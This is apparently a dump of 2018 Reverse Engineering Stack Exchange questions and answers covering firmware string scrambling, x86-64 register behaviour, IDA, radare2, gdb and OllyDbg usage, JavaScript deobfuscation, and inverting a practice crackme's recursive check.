    Given that the ASCII art remains mostly intact, I think it's likely that whatever means of obfuscation this firmware is using is fairly weak. But I'm new to firmware analysis, so I'm not sure if that's a logical conclusion.

    \n\n

    Is this file using a substitution cipher of some kind? Or perhaps another kind of simple obfuscation?

    \n", "Title": "Is this firmware using a substitution cipher?", "Tags": "|binary-analysis|firmware|cryptography|", "Answer": "

    The first two lines suggest a string containing all hexadecimal digits, first line lower case, second line upper case. If this assumption holds, then the two lines read

    \n\n

    0123456789abcdef

    \n\n

    0123456789ABCDEF

    \n\n

    The construction principle then would be: \nTake four characters, arrange them in reversed order, go to the next four characters etc.

    \n\n

    Doing this with the line

    \n\n

    ./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/

    \n\n

    results in

    \n\n

    ../../lib/helix-common/muc/shared/src/driver/ipc, \nwhich makes sense.

    \n\n

    This works but not always. For instance the line

    \n\n

    cnySnorhdezi ==> Synchronized, but the line

    \n\n

    ?cnySnorhdezi ==> ?cnyronSzedhi, which is obviously nonsense. I am pretty sure it \"deobfuscates\" also to Synchronized.

    \n\n

    One could now assume some secret hidden additional algorithm for the non-working lines, but for me this sounds not realistic, given the simple construction principle in many cases.

    \n\n

    From the examples presented I assume that your snippet is not obfuscated at all, but not correctly decompressed. Maybe when you try with different zip algorithms with slightly different parameters, you end up with the clear text. With the principle I have been using it should be possible to get some more amount of perfectly reasonable clear text parts, which possibly could be used as a help to find the correct decompressor.

    \n\n

    There might be another, more promising possibility to decompress:

    \n\n

    I assume you have the (compressed) code of your firmware. There should be somewhere a stub in this code containing the decompressor. If you are able to find it, you could reverse it, perhaps also from static code and make a working C-code on your PC, thus enabling you to decompress.

    \n" }, { "Id": "18683", "CreationDate": "2018-07-04T11:18:39.857", "Body": "

    Is there any way to get SDK API message when Ida Pro is closing?\nI write plug-in that connect with other application and I need to close connections when IDA is closing.

    \n", "Title": "How to get closing message from IDA Pro?", "Tags": "|ida|idapro-sdk|", "Answer": "

    The second way to solve the problem with getting close message is create term(self) method in the UIHook class but not in plugin class.\nThe benefit of this way that is it usable with ida pro scripts not just plugins.\nExample:\nhttps://github.com/EiNSTeiN-/idapython/blob/master/examples/ex_uihook.py

    \n" }, { "Id": "18693", "CreationDate": "2018-07-05T12:45:40.477", "Body": "

    Someone here already had success to deobfuscate 100% a \"hexadecimal\" Javascript code?

    \n\n

    E.g.:

    \n\n
    var _0x22bc92 = function() {\n    var _0x26938d = !![];\n    return function(_0x100751, _0x54d399) {\n        var _0x1a7790 = _0x26938d ? function() {\n            if (_0x54d399) {\n                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);\n                _0x54d399 = null;\n                return _0x28145f;\n            }\n        } : function() {};\n        _0x26938d = ![];\n        return _0x1a7790;\n    };\n}();\n
    \n\n

    If yes, how do I do it?

    \n", "Title": "How decrypt hexadecimal javascript code?", "Tags": "|deobfuscation|javascript|hexadecimal|", "Answer": "

    Those hex values could represent anything. Look for online converters that convert hexadecimal to text (consider various formats), dec, etc. and see if the results make any sense. If not, then they could just be 100% obfuscated to not recover any sort of meaningful name.

    \n\n

    Therefore, just make meaningful names yourself where you see repeated occurrences of names. For instance, look at how many times you see the value _0x26938d (which I've changed to _0x26938d_CHANGE_ME) appear below. Simply change all of those occurrences to your own name. You can apply a more meaningful name to them once you read through the code and/or execute it to understand its behavior.

    \n\n
    var _0x22bc92 = function() {\n    var _0x26938d_CHANGE_ME = !![];\n    return function(_0x100751, _0x54d399) {\n        var _0x1a7790 = _0x26938d_CHANGE_ME ? function() {\n            if (_0x54d399) {\n                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);\n                _0x54d399 = null;\n                return _0x28145f;\n            }\n        } : function() {};\n        _0x26938d_CHANGE_ME = ![];\n        return _0x1a7790;\n    };\n}();\n
    \n" }, { "Id": "18695", "CreationDate": "2018-07-05T14:16:51.720", "Body": "

    NB: I normally dabble with disassembly (i.e. mnemonics) and only ever look at the raw opcodes when I can't avoid it.

    \n\n

    I have the following line of disassembly of a Windows x64 kernel mode driver, created by IDA Pro 7.1.180227:

    \n\n
    xor     edx, edx\n
    \n\n

    Now I know for a fact that this is in preparation of passing the second parameter to a function via rdx. I also know that the intention of that code is to set said pointer argument to NULL.

    \n\n

    The opcode is 33 D2. And cross-referencing that with the reference or looking at it in ODA yields the same as with IDA: xor edx, edx.

    \n\n

    Now what itches me wrong with this disassembly is that rdx, as a superset of edx, is used elsewhere on that exact code path to store other pointers. So in theory the upper double-word of rdx could be \"dirty\".

    \n\n

    And going by the fact that this is x64 code, I'd expect this to read xor rdx, rdx. Why is that not how it's presented in the disassembly?

    \n\n
    \n\n

    Now I understand that, as per section 3.6.1 (Table 3-4) of the Intel SDM (05/2018) the REX.W Prefix of the opcode can affect the operand size.

    \n\n

    For this opcode neither the operand-size (66h) nor the address-size (67h) prefix are present.

    \n\n

    So going by the Intel SDM (section \"XOR\u2014Logical Exclusive OR\") I should indeed be dealing with opcode 33 /r or instruction XOR r32, r/m32, confirming IDAs translation of the opcode. Referring to section 2.1.5 (\"Addressing-Mode Encoding of ModR/M and SIB Bytes\") of the Intel SDM gives us a clue as to how the operand (D2) is encoded and so gives us, from Table 2-2 (\"32-Bit Addressing Forms with the ModR/M Byte\"): EDX/DX/DL/MM2/XMM2 as operand.

    \n\n

    Figures.

    \n\n

    However, that would mean that the \"dirty\" upper double-word in rdx would not be zeroed out and thus a garbled/truncated pointer would end up being passed. Given this is kernel mode code, the consequences should be clear.

    \n\n

    I just can't believe that the compiler would make such mistake. So what am I missing?

    \n", "Title": "Is IDA pulling my leg - or can REX.W sometimes not be determined in static analysis?", "Tags": "|ida|x86-64|assembly|", "Answer": "

    In x86-64, any operation that affects only the lower 32 bits of a register automatically zeros out the upper 32 bits.

    \n\n

    The relevant part in the Intel Architecture manual is in Volume 1, 3.4.1.1, which states:

    \n\n
    \n

    When in 64-bit mode, operand size determines the number of valid bits\n in the destination general-purpose register:

    \n \n
      \n
    • 64-bit operands generate a 64-bit result in the destination general-purpose register.
      • \n
    • 32-bit operands generate a 32-bit result, zero-extended to a 64-bit\n result in the destination general-purpose register.
      • \n
    • 8-bit and 16-bit operands generate an 8-bit or 16-bit result. The upper 56 bits or 48 bits (respectively) of the destination general-purpose register are\n not modified by the operation. If the result of an 8-bit or 16-bit\n operation is intended for 64-bit address calculation, explicitly\n sign-extend the register to the full 64-bits.
      • \n
    \n
    \n\n

    Thus both forms give the same result, and xor edx, edx is one byte shorter than xor rdx, rdx, so the compiler prefers it.

    \n" }, { "Id": "18697", "CreationDate": "2018-07-05T15:29:23.407", "Body": "

    What would be the translated C output of this hexrays decompiler pseudocode? The values of v6 and v5 are floats just as v8. The value of xmmword_108365D0 is 7FFFFFFF7FFFFFFF7FFFFFFF7FFFFFFFh

    \n\n
    v8 = (float)(COERCE_FLOAT(COERCE_UNSIGNED_INT(v6 - v5) & xmmword_108365D0) - 4.0) * 0.16666667;\n
    \n\n

    I'm not sure how to go about translating these macros into C.

    \n\n

    andps xmm0, ds:xmmword_108365D0 ; xmm0 = xmm0 & xmmword_108365D0\n subss xmm0, ds:dword_10835A68 ; xmm0 -= 4.0\n mulss xmm0, ds:dword_1083538C ; xmm0 *= 0.16666667

    \n", "Title": "Translating ida macros and pseudocode into C++/C", "Tags": "|ida|decompilation|c++|c|hexrays|", "Answer": "

    andps stands for \"Bitwise Logical AND of Packed Single Precision Floating-Point Values\", i.e. the contents of the register is interpreted as four separate single precision (32-bit) values and a bitwise AND operation is performed using the second operand as the mask. Since floats do not have bitwise operations defined, the CPU performs it on the raw values in the registers as if they were just a stream of bits. I.e. the result of

    \n\n

    andps xmm0, ds:xmmword_108365D0

    \n\n

    is similar to the following operations:

    \n\n
     xmm0.m128i_u32[0] &= 0x7FFFFFFF;\n xmm0.m128i_u32[1] &= 0x7FFFFFFF;\n xmm0.m128i_u32[2] &= 0x7FFFFFFF;\n xmm0.m128i_u32[3] &= 0x7FFFFFFF;\n
    \n\n

    executed simultaneously (m128i_u32 here represents the contents of the xmm register as an array of four unsigned 32-bit integers).

    \n\n

    Since the IEEE floating-point format uses most significant bit (bit 31) as the sign of the value, and this operation clears this bit, obviously this operation makes the number always positive, i.e. it's an equivalent of fabs().

    \n\n

    The following two operations (subss and mulss are of the \"Scalar Single-Precision\" category, i.e. they use only the low 32 bits of the register as the floating-point value, that's why the decompiler tried to convert the calculation to a single float, however it could not discard the andps operation because it is performed on the whole register, which resulted in the ugly cast sequence. So, if we replace the & by fabs, the \"correct\" expression is probably this:

    \n\n
    v8 = (fabs(v6 - v5) - 4.0) / 6;\n
    \n" }, { "Id": "18701", "CreationDate": "2018-07-06T00:17:37.153", "Body": "

    If I want to find all references to fs:[0x28] how would I go about doing it with radare2? For example,

    \n\n
    0x000006b5      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1978 ; '(' ; \"x\\x19\"\n
    \n\n

    I want to find all lines that reference fs:[0x28], like the one above. This address is used as a stack canary, and I'm especially interested to see what is reading from it.

    \n", "Title": "How do I find all references to an address with a memory segment?", "Tags": "|radare2|", "Answer": "

    By looking how this function is implemented, it looks like there's no option for this (but go ask on r2's on Telegram). It just takes a string that's being converted to a number and that's all. If you want to see all the places where fs:[0x28] being used why not search for this part of the opcode?

    \n\n
    [0x004049a0]> /c fs:[0x28]\n0x00402a19   # 9: mov rax, qword fs:[0x28]\n0x00403f81   # 9: xor rcx, qword fs:[0x28]\n0x00404dc1   # 9: mov rax, qword fs:[0x28]\n0x00404de6   # 9: xor rdx, qword fs:[0x28]\n0x00405431   # 9: mov rax, qword fs:[0x28]\n0x004054ea   # 9: xor rbx, qword fs:[0x28]\n...\n
    \n" }, { "Id": "18705", "CreationDate": "2018-07-06T08:33:46.343", "Body": "
    [root@localhost Relay]# file RelayD\nRelayD: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped\n\n[root@localhost Relay]# ./start\n: no process killed\n./start: line 2:  2066 Segmentation fault      ./RelayD start --daemon\n: command not found\n[root@localhost Relay]# gdb RelayD\nGNU gdb (GDB) Red Hat Enterprise Linux (7.2-92.el6)\nCopyright (C) 2010 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.  Type \"show copying\"\nand \"show warranty\" for details.\nThis GDB was configured as \"x86_64-redhat-linux-gnu\".\nFor bug reporting instructions, please see:\n<http://www.gnu.org/software/gdb/bugs/>...\n\"/home/Relay/RelayD\": not in executable format: File format not recognized\n(gdb) run\nStarting program:\nNo executable file specified.\nUse the \"file\" or \"exec-file\" command.\n
    \n\n

    How to debug this file? I have tried to run gdb to debug the file and the result show: not in executable. The program is showing segfault when I tried to run the bin file.

    \n", "Title": "gdb debug show error \"not in executable format: file format not recognized\"", "Tags": "|debugging|", "Answer": "

    It seems you may be looking for:

    \n\n
    gdb --args ./RelayD start --daemon\n
    \n\n

    (although you probably want to avoid --daemon if that's optional).

    \n\n

    However, that above (shell) command is equivalent to:

    \n\n
    gdb ./RelayD\n
    \n\n

    ... followed by (on the GDB prompt):

    \n\n
    run start --daemon\n
    \n\n

    Note how in both cases I am passing the arguments as per the script line and how I am passing the relative path instead of merely the name of an executable.

    \n\n

    There may be another catch here, but it's hard to tell and you don't explicitly mention the distro you're on. However, it's possible that for your system you need to enable multilib support [1] so that your x86-64 OS can run x86-32 binaries (that RelayD ELF file) and that you may have to install some packages you have to install in order to have GDB support this scenario. The alternative could be to run a 32-bit container (which still requires multilib, if I am not mistaken) and inside that prepare and debug with a 32-bit GDB or use a 32-bit VM to get the debugging done. But for all I know most distros support the scenario of debugging a 32-bit binary on the 64-bit host system. So it's likely a matter of installing some extra packages.

    \n\n

    Oh and last but not least you may be missing some of the shared objects (libraries) that the 32-bit executable expects. Use readelf or ldd on your RelayD to find out more.

    \n\n

    [1] yum groupinstall \"Compatibility Libraries\" should do the trick, provided multilib_policy=all is set in your yum.conf and you're indeed running on RHEL (or CentOS or Scientific Linux) as suggested by the GDB output you gave. Also make sure yum.conf does not contain exclude = *.i?86 to preclude the 32-bit packages from being considered (exactarch=1 may also have an adverse effect, so consult man yum.conf). You can also pick and choose your own compatibility libraries by searching the list with yum search compat|grep ^compat-.

    \n" }, { "Id": "18708", "CreationDate": "2018-07-06T14:36:02.477", "Body": "

    Can anyone explain the following code as it's an array in assembly. \nI can't understand can you help me to figure it out line by line.

    \n\n

    Thanks

    \n\n

    \"enter

    \n\n

    Q.1) what does the 401024 & 40102E line does ?

    \n", "Title": "Understand help me array in assembly?", "Tags": "|disassembly|assembly|", "Answer": "

    The explanation is given in the book immediately following the listing (Practical Malware Analysis Chapter 6 page 128 \"Recognizing C Code Constructs in Assembly\"):

    \n\n
    \n

    In this listing, the base address of array b corresponds to dword_40A000 ,\n and the base address of array a corresponds to var_14 . Since these are both\n arrays of integers, each element is of size 4, although the instructions at 1\n and 2 differ for accessing the two arrays. In both cases, ecx is used as the\n index, which is multiplied by 4 to account for the size of the elements. The\n resulting value is added to the base address of the array to access the proper\n array element.

    \n
    \n" }, { "Id": "18710", "CreationDate": "2018-07-06T16:12:16.460", "Body": "

    In the following picture the line i want to mention is:

    \n\n
    mov [esp+eax*4+0Ch], edx\n
    \n\n

    Here eax is the index in the array. But, where is the address of the array to access?

    \n\n

    what does mean this line of code ? (0Ch)

    \n\n

    \"Full

    \n", "Title": "index of array in assembly?", "Tags": "|disassembly|assembly|", "Answer": "

    Usually, when running through an array, we can find the following lines of assembly code:

    \n\n
    mov [base_address_of_array + array_index * size_of_an_item_in_array], edx\n
    \n\n

    In your case, my guess would be that the array is on the stack (that is why you find esp as part of the base address of the array. Then, you also have an offset to esp which is 0Ch (which is 12 in decimal). So, the array is located at esp + 0Ch. Then, eax is the index and 4 is the size of an item in the array (probably an integer of 4 bytes).

    \n\n

    If we look at the whole CFG, I would translate it back to C in something like this:

    \n\n
    int array[4];\n\nfor (int i = 0; i < 4; ++i)\n  array[i] = i;\n
    \n\n

    Note: I supposed that the blue arc in the CFG is getting back to loc_401381.

    \n" }, { "Id": "18719", "CreationDate": "2018-07-07T15:15:53.410", "Body": "

    This is the python code I wrote of a simple crackme that I have reversed but I am not able to understand what the recursive function here does.

    \n\n
    \ndef the_process(stored, inp, size):\n    idx = 0\n    global thstr\n    idx = stored.index(inp[0])\n    if idx:\n        the_process(stored[:idx], inp[1:], idx)\n    if size - 1 != idx:\n        the_process(stored[1+idx:1+idx + size - idx -1],inp[idx+1:], size - idx - 1)\n    thstr.append(inp[0])\n\nif __name__ == \"__main__\":\n    thstr = []\n    stored = \"MGNCHXWIZDJAOKPELYSFUTV\"\n    input1 = \"TFSLPOJZCGMNHWXIDAKEYUV\"\n    the_process(stored, list(input1), 23)\n    print \"output : \" + \"\".join(thstr)\n
    \n\n

    input1 is a sample valid input I could figure out for the function. To get the crackme validated I need thstr to be MNGHCWZIJDXOPKLESUVTFYA in the end. How can I get the input to make that happen?

    \n", "Title": "How can I reverse this recursive function?", "Tags": "|python|crackme|", "Answer": "

    I gave it a go. First I simplified your code a little bit.

    \n\n
    def the_process(stored, inp, size):\n    global thstr\n    idx = 0\n    idx = stored.index(inp[0])\n    if idx:\n        the_process(stored[:idx], inp[1:], idx)\n    if size - 1 != idx:\n        the_process(stored[idx+1:],inp[idx+1:], size - idx - 1)\n    thstr.append(inp[0])\n
    \n\n

    Now it looks like by the naming that stored is hardcoded in the binary. I considered MGNCHXWIZDJAOKPELYSFUTV to be as is and the target output to be MNGHCWZIJDXOPKLESUVTFYA.

    \n\n

    By the function it looks like that it takes the first char of input, splits stored at the location of that char and then recursively calls itself on the two parts made. I made a tree to follow that.\"originalinput\"

    \n\n

    The graph is such that taking one char from input TFSLPOJZCGMNHWXIDAKEYUV and position nodes/chars which are at the right/left appropriately(V is right to T in the graph as it is right to T in the stored). In this graph the output is post order traversal of the graph and the input is pre order traversal.

    \n\n

    Similar graph can be constructed from the target MNGHCWZIJDXOPKLESUVTFYA. Only the reverse such that post order is given and construct the graph.\n\"targetinput\"

    \n\n

    Now pre order traverse this graph and you'll have your input AXCGMNHDIWZJYEKOPLFSTUV.

    \n\n

    The equivalent hackish function is this. feel free to make it better.

    \n\n
    def rev_process(stored, inp, size):\n    if not size:\n        return\n    global thstr\n    mp = {stored[i] : i for i in xrange(len(stored))}\n    idx = mp[inp[-1]]\n    thstr.append(inp[-1])\n    if size == 1:\n        return\n    try:\n        less_part = max(loc for loc, val in enumerate(inp) if mp[val] < idx) + 1\n    except ValueError:\n        less_part = 0\n    rev_process(stored[:idx], inp[:less_part], less_part, fs+1)\n    if less_part!= size-1:\n        rev_process(stored[idx+1:], inp[less_part:-1], size-less_part-1, fs+1)\n
    \n\n

    I have also added the reversed function code and resources here

    \n" }, { "Id": "18735", "CreationDate": "2018-07-09T10:00:32.637", "Body": "

    I don't know whether this is a silly question, but I couldn't find any answer.

    \n\n

    With the evolution of CPU architecture, register size was extended, from 8, to 16, 32, and eventually 64-bit. I was wondering whether there was any way to access the higher part of the registers.

    \n\n

    Here's an example regarding the rax 64-bit register and its subsequent divisions:

    \n\n
    6                              3               1 \n4                              2               6       8       1\n+------------------------------+---------------+-------+-------+\n|                             rax                              |\n+------------------------------+---------------+-------+-------+\n            (???)              |              eax              |\n                               +---------------+-------+-------+\n                                     (???)     |       ax      |\n                                               +-------+-------+\n                                               |  ah   |   al  |\n                                               +-------+-------+\n
    \n\n

    One can easily access the higher and lower part of ax by referencing to ah and al respectively. But I couldn't find any reference for the rax and eax higher parts. (Denoted with (???))

    \n\n
      \n
    1. Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?
      2. \n
    2. Assuming it is not possible, what are the reasons behind this?
      3. \n
    \n\n

    Note: I am talking about direct access to these bytes, I am not asking for a sequence of instructions that could retrieve them.

    \n", "Title": "Is it possible to access the higher part of the 32-bit and 64-bit registers? If so, which ones?", "Tags": "|assembly|x86|register|x86-64|", "Answer": "

    Update: Thanks to Nirlzr, I see I missed the emphasized point at the bottom of the post. This answer, though not what OP is looking for, may serve useful for anyone down the road who is looking for a way to access those bits. Apologies for missing OPs full intention!

    \n\n

    I actually wrote an in-depth article on this topic a couple of years ago: Accessing and Modifying Upper Bits in x86 and x64 Registers

    \n\n

    So while there aren't any direct instructions to specifically access the upper half of a 32- or 64-bit register, you can get to that data by using shift and rotate instructions (of which your choice of use mostly depends on if you care about maintaining the integrity of the bits in the lower-half of the registers).

    \n\n

    I would piecemeal the post here for a more fleshed-out-looking answer, but it's best to just read the post as is, which has a very intentional flow that includes copious examples.

    \n" }, { "Id": "18740", "CreationDate": "2018-07-09T15:53:37.957", "Body": "

    I was looking at a game code, and I saw the following:

    \n\n
    0x171    mov [rbp-30],r12w\n....\n0x210     movups xmm0,[rbp-30]\n
    \n\n

    I am pretty sure that r12 is an integer here (equals 5). So, is it moving an integer to a float register at 0x171 using movups?

    \n\n

    I searched on Internet, but movups usually moves float to float, not integer to float...

    \n\n

    Could someone tell me how we usually moves integer to xmm registers ?

    \n", "Title": "Moving integer to xmm register", "Tags": "|assembly|register|amd64|float|", "Answer": "

    To move a number into an XMM register, you'll first need to move that number into a memory address since you can't move an immediate into an XMM register (meaning, you can't do something like mov XMM1,9).

    \n\n

    If need be, you can allocate your own memory to store a number in, or in your scenario, if it's feasible, you could inject code to put your own value into r12w prior to that write, or your own value into [rbp-30] after that write.

    \n\n

    Instructions of interest for you will be MOVSS, MOVSD, MOVD, MOVQ, and so on. Assuming you opt to put your own value into [rbp-30] first:

    \n\n

    Example: movss xmm1,[rbp-30]

    \n\n

    Insofar as your value being an integer, you'll probably see an instruction like CVTSS2SI (Convert Scalar Single-Precision Floating-Point Value to Doubleword Integer) somewhere within the sub-routine you're in.

    \n" }, { "Id": "18746", "CreationDate": "2018-07-10T18:12:11.790", "Body": "

    During the debugging process, I can use binary edit in order to add commands where I want, etc. However, I can't find any way to add an ASCII string at an address in which I can reference later. If I try to add something like: \"hello\", OllyDBG will just translate the bytes into commands and edit the assembly commands into the program.

    \n\n

    Is there a way to just add the ASCII string into the program?

    \n", "Title": "How do I create an ASCII string in OllyDBG?", "Tags": "|ollydbg|debugging|debuggers|", "Answer": "

    ollydbg v2

    \n\n

    Ctrl+E -> Ascii -> \"Hello\" -> Enter and -> Ctrl+A (to make ollydbg understand its string not code )
    \n:(colon) Label for later Reference

    \n\n

    use CTRL+G and type the label name for

    \n\n

    here is a screen shot of a partially matched label that follows

    \n\n

    \"enter

    \n\n
    CPU Disasm\nAddress                                Hex dump          Command              Comments\n00D13FC0 This Is My Newly Added String 48 65 6C 6C 6F 00 ASCII \"Hello\",0;ASCII \"Hello\"\n
    \n\n

    ollydbg 1 \nRightClick -> Analysis -> During Next Ananlysis Treat Selection As Ascii String

    \n" }, { "Id": "18750", "CreationDate": "2018-07-10T20:16:38.027", "Body": "

    I try to reverse engineering an application and I came to the point that I don't understand. I have the following disassembled code with gdb:

    \n\n
       \u25020x7ffff76f7e4b <_ZN16CRRegistratorImp8RegisterEbPv+587> je     0x7ffff76f7ce6 <_ZN16CRRegistratorImp8RegisterEbPv+230>                                                              \u2502\n   \u25020x7ffff76f7e51 <_ZN16CRRegistratorImp8RegisterEbPv+593> mov    rdi,QWORD PTR [rbp+0x10]                                                                                             \u2502\n   \u25020x7ffff76f7e55 <_ZN16CRRegistratorImp8RegisterEbPv+597> mov    rax,QWORD PTR [rdi]                                                                                                  \u2502\n   \u25020x7ffff76f7e58 <_ZN16CRRegistratorImp8RegisterEbPv+600> call   QWORD PTR [rax+0x30]                                                                                                 \u2502\n   \u25020x7ffff76f7e5b <_ZN16CRRegistratorImp8RegisterEbPv+603> test   al,al                                                                                                                \u2502\n   \u25020x7ffff76f7e5d <_ZN16CRRegistratorImp8RegisterEbPv+605> je     0x7ffff76f7ce6 <_ZN16CRRegistratorImp8RegisterEbPv+230>                                                              \u2502\n   \u25020x7ffff76f7e63 <_ZN16CRRegistratorImp8RegisterEbPv+611> jmp    0x7ffff76f7d29 <_ZN16CRRegistratorImp8RegisterEbPv+297>      \n   \u25020x7ffff76f7e68 <_ZN16CRRegistratorImp8RegisterEbPv+616> xor    edx,edx                                                                                                              \u2502\n   \u25020x7ffff76f7e6a <_ZN16CRRegistratorImp8RegisterEbPv+618> mov    rsi,r12                                                                                                              \u2502\n   \u25020x7ffff76f7e6d <_ZN16CRRegistratorImp8RegisterEbPv+621> mov    rdi,rbp                                                                                                              \u2502\n   \u25020x7ffff76f7e70 <_ZN16CRRegistratorImp8RegisterEbPv+624> call   0x7ffff7596518 <_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt>                                         \u2502\n   \u25020x7ffff76f7e75 <_ZN16CRRegistratorImp8RegisterEbPv+629> jmp    0x7ffff76f7e41 <_ZN16CRRegistratorImp8RegisterEbPv+577>                                                              \u2502\n   \u25020x7ffff76f7e77 <_ZN16CRRegistratorImp8RegisterEbPv+631> mov    edx,0x4                                                                                                              \u2502\n   \u25020x7ffff76f7e7c <_ZN16CRRegistratorImp8RegisterEbPv+636> mov    rsi,r12                                                                                                              \u2502\n   \u25020x7ffff76f7e7f <_ZN16CRRegistratorImp8RegisterEbPv+639> mov    rdi,rbp                                                                                                              \u2502\n   \u25020x7ffff76f7e82 <_ZN16CRRegistratorImp8RegisterEbPv+642> call   0x7ffff7596518 <_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt>    \n
    \n\n

    This is not the whole procedure, but I think it is not needed. What I want to know is, how to get to to the address 0x7ffff76f7e68 (+616). \nI was thinking that somewhere in this procedure I will find something like this instruction:

    \n\n

    jmp 0x7ffff76f7e68 <_ZN16CRRegistratorImp8RegisterEbPv+616>

    \n\n

    but there is no such instruction in this procedure and it is not possible to get it there because on address +611 there is the the jmp instruction. So I have the following questions:

    \n\n
      \n
    1. Is it dead code?
      2. \n

    2. Is it possible to jump directly to this specific address (+616) from other procedure?

      3. \n

    3. Is there another way to get to this address?

      4. \n
    \n", "Title": "Getting to the specific offset in assembly code", "Tags": "|disassembly|", "Answer": "

    There are several possibilities. At least it doesn't look like junk, so probably the disassembler engine built into GDB is right about the opcodes.

    \n\n

    GDB is somewhat limited when it comes to showing those details that count when reverse engineering a bigger target. This could actually be dead code, since the names indicate that this is C++ code. Hence there's always a chance that certain virtual functions are never referenced and yet remain in the binary. Essentially there are corner cases that would lead to dead code. But it's hard to tell from this small window into the target that you provide and without more knowledge about the target in question.

    \n\n

    First I would start by demangling the names, since you seem to have debug symbols for the application:

    \n\n
    CRRegistratorImp::Register(bool, void*)\nCallRegGuiCallback(CRRegistrator*, void*, ERegGUIAction)\n
    \n\n

    As per this list you can see that the Linux ABI (System V AMD64 ABI) makes use of the following registers (in order) on x86-64: RDI, RSI, RDX, RCX, R8, R9, XMM0\u20137.

    \n\n

    From this knowledge I'd deduce that these could be two very small wrapper functions to do a similar job:

    \n\n
    ; first function\nxor    edx,edx\nmov    rsi,r12\nmov    rdi,rbp\ncall   0x7ffff7596518 <_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt>\njmp    0x7ffff76f7e41 <_ZN16CRRegistratorImp8RegisterEbPv+577>\n; second function below\nmov    edx,0x4\nmov    rsi,r12\nmov    rdi,rbp\ncall   0x7ffff7596518 <_Z18CallRegGuiCallbackP13CRRegistratorPv13ERegGUIAction@plt>\n
    \n\n

    Roughly (respectively:

    \n\n
    CallRegGuiCallback($RDI, $RSI, 0);\nCallRegGuiCallback($RDI, $RSI, 0x4);\n
    \n\n

    Without a proper disassembler you won't be able to tell if that code is dead (== unreferenced). GDB is just too crude a tool for this job. And even with a proper disassembler you will not be a 100% sure that it is dead code even though the disassembler \"reasoned\" it is.

    \n\n

    That said, give radare2 (free of charge, open source), Hopper (commercial, but affordable) or IDA Pro (commercial, but relatively expensive, yet very very powerful) a try. These should give you a considerably better idea of what parts of the code are referenced by other parts of the code.

    \n\n

    To answer your questions:

    \n\n
      \n

    1. Is it dead code?

      \n\n

      Possible, but there's no way to tell for certain (i.e. to rule out false negatives!).

      2. \n

    2. Is it possible to jump directly to this specific address (+616) from other procedure?

      \n\n

      Certainly, a jmp may actually even be sufficient, semantically, because these small functions seem to pass the parameters to the call themselves.

      3. \n

    3. Is there another way to get to this address?

      \n\n

      Yeah, from the top of my head I could come up with about half a dozen or so, and there are probably more sneaky ones. However, that (sub-)question is somewhat open-ended. Anyway, you could jmp or use any kind of conditional jump. You could call or you could load the address into a register and do an indirect call or you could obfuscate the address, load it into a register and then do whatever kind of bit-juggling and arithmetic and an indirect call, or you could have a vtable that would end up calling this particular chunk of code.

      4. \n
    \n\n

    A bigger chunk of disassembly might help in this case.

    \n" }, { "Id": "18765", "CreationDate": "2018-07-11T21:36:13.670", "Body": "

    Im trying to debug a binary - and I wanted to know if someone can explain what does it mean when there's a value 'added' on to a function.

    \n\n

    eg: CRYPTSP.CryptDuplicateHash+0C

    \n\n

    What does the '0C' mean in this case?\nThanks!

    \n", "Title": "What does this mean in OllyDbg: function+hex value", "Tags": "|ollydbg|debugging|", "Answer": "

    This indicates the offset within the function.

    \n\n

    If you wish to reference an instruction in an executable binary, the most basic and straight-forward method would be using it's full address. However especially with ASLR enabled, different versions, RVA vs file offsets and other nuances it may be more useful to reference an instruction relative to the function start address.

    \n\n

    In the case of CRYPTSP.CryptDuplicateHash+0C, we can easily see the address is at offset 0x0C within the CryptDuplicateHash function inside a module called CRYPTSP.

    \n" }, { "Id": "18777", "CreationDate": "2018-07-12T18:46:13.663", "Body": "

    I am trying to debug remotly an ELF from my windows 10 (the ELF runs on my ubuntu 32 bit vm) (the ELF is from pwnable.kr - unlink).\nBecause the exploit is via gets() I try to pass input through the \"debugger options\" in IDA:

    \n\n

    \"The

    \n\n

    (I also tried doing it without the \"parameters\").

    \n\n

    anyway this is the the exception I get when I get to \"gets\" function.

    \n\n

    \"The

    \n\n

    I tried to understand from the internet how people usually use remote debugging with IDA and use the process' stdin.

    \n\n

    BTW: this is how it runs:

    \n\n
    shahar@ubuntu:~/Desktop$ ./linux_server unlink\nIDA Linux 32-bit remote debug server(ST) v1.15. Hex-Rays (c) 2004-2012\nListening on port #23946...\n=========================================================\n[1] Accepting connection from 192.168.188.1...\nhere is stack address leak: 0xbfdfdc04\nhere is heap address leak: 0x9085410\nnow that you have leaks, get shell!\n
    \n\n

    Thanks a lot for your help! :-)

    \n\n

    EDIT:

    \n\n

    This is where the error is raised:

    \n\n

    \"enter

    \n", "Title": "IDA - Remote debug on linux", "Tags": "|ida|debugging|elf|remote|", "Answer": "

    What I usually do is to supply the STDIN data from a file. So, in the command line you used to run the Linux debugging server I would just add the redirection of the file with the inputs for the get, like this:

    \n\n

    $ ./linux_server unlink < your_file\n

    \n\n

    For some reason, I never got to work the redirection in parameters with remote debuggers.

    \n" }, { "Id": "18792", "CreationDate": "2018-07-13T19:14:12.190", "Body": "

    I'm just starting in learning some Reverse Engineering and there are a lot of DLLs being imported or called at runtime and I'd like to know what they do. I would have expected that there would be documentation pages for common DLLs, or at least all of Microsoft's DLLs, but mostly when I Google for information about DLLs there are a lot of How to fix your missing VCRUNTIME140.dll or such.

    \n\n

    Is there really no great way of getting information about DLLs asides from looking at them yourself or happening to find answers or references at various places online?

    \n", "Title": "Is there a good place to search information about known DLLs?", "Tags": "|windows|dll|libraries|", "Answer": "

    if they are Microsoft dlls you are interested to know about \nthen ms normally provides a concise description of its dlls functionality in it FileVersion information

    \n\n

    also other legitimate dlls do provide this information

    \n\n

